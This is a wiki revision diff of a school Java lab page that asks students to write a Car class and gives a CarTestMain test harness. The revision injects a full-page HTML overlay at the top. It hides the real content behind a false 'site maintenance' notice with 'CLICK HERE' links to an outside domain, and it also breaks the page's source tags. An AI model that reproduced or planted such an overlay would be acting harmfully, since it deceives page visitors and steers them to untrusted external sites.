Difference between revisions of "Car class lab assignment"

From WLCS
(CarTestMain:)
 
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://enececufo.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://enececufo.co.cc CLICK HERE]=
 +
----
 +
</div>
 
=== Car class ===
 
=== Car class ===
 
Create a Car class using the following specifications (HINT: Use your Person class as a template):
 
Create a Car class using the following specifications (HINT: Use your Person class as a template):
Line 27: Line 35:
 
Use the following code to test your Car class:
 
Use the following code to test your Car class:
  
<source lang="java">
+
&lt;source lang="java">
 
public class CarTestMain
 
public class CarTestMain
 
{
 
{
Line 69: Line 77:
 
   }
 
   }
 
}
 
}
</source>
+
&lt;/source>

Revision as of 05:04, 24 November 2010


Car class

Create a Car class using the following specifications (HINT: Use your Person class as a template):

BE SURE TO COMMENT YOUR CODE


Attributes (private):

  • color (default: "no color")
  • year (default: 0)
  • make (default: "no make")
  • model (default: "no model")
  • speed (default: 0)
  • gear (default: "no gear")


Methods (public)

  • default constructor (sets all attributes to their defaults)
  • setters (mutators) for all attributes
  • getters (accessors) for all attributes
  • String toString()
  • void park()
    • sets the current speed to 0 and the current gear to "P"
  • void drive(int newSpeed)
    • sets the current gear to "D" and changes the current speed to the newSpeed

CarTestMain:

Use the following code to test your Car class:

<source lang="java"> public class CarTestMain {

 public static void main(String [] args)
 {
   //use the default constructor to create a new instance of Car
   Car myCar = new Car();
   //testing all getters (accessors)
   System.out.println("myCar.getColor(): " + myCar.getColor());
   System.out.println("myCar.getYear(): " + myCar.getYear());
   System.out.println("myCar.getMake(): " + myCar.getMake());
   System.out.println("myCar.getModel(): " + myCar.getModel());
   System.out.println("myCar.getSpeed(): " + myCar.getSpeed());
   System.out.println("myCar.getGear(): " + myCar.getGear());
   //testing all setters (mutators)
   myCar.setColor("green");
   myCar.setYear(2001);
   myCar.setMake("Isuzu");
   myCar.setModel("Rodeo");
   myCar.setSpeed(55);
   myCar.setGear("D");
   System.out.println("myCar.getColor(): " + myCar.getColor());
   System.out.println("myCar.getYear(): " + myCar.getYear());
   System.out.println("myCar.getMake(): " + myCar.getMake());
   System.out.println("myCar.getModel(): " + myCar.getModel());
   System.out.println("myCar.getSpeed(): " + myCar.getSpeed());
   System.out.println("myCar.getGear(): " + myCar.getGear());
   //test drive()
   myCar.drive(88);
   //test toString()
   System.out.println(myCar);
   //test park()
   myCar.park();
   System.out.println(myCar);
 }

} </source>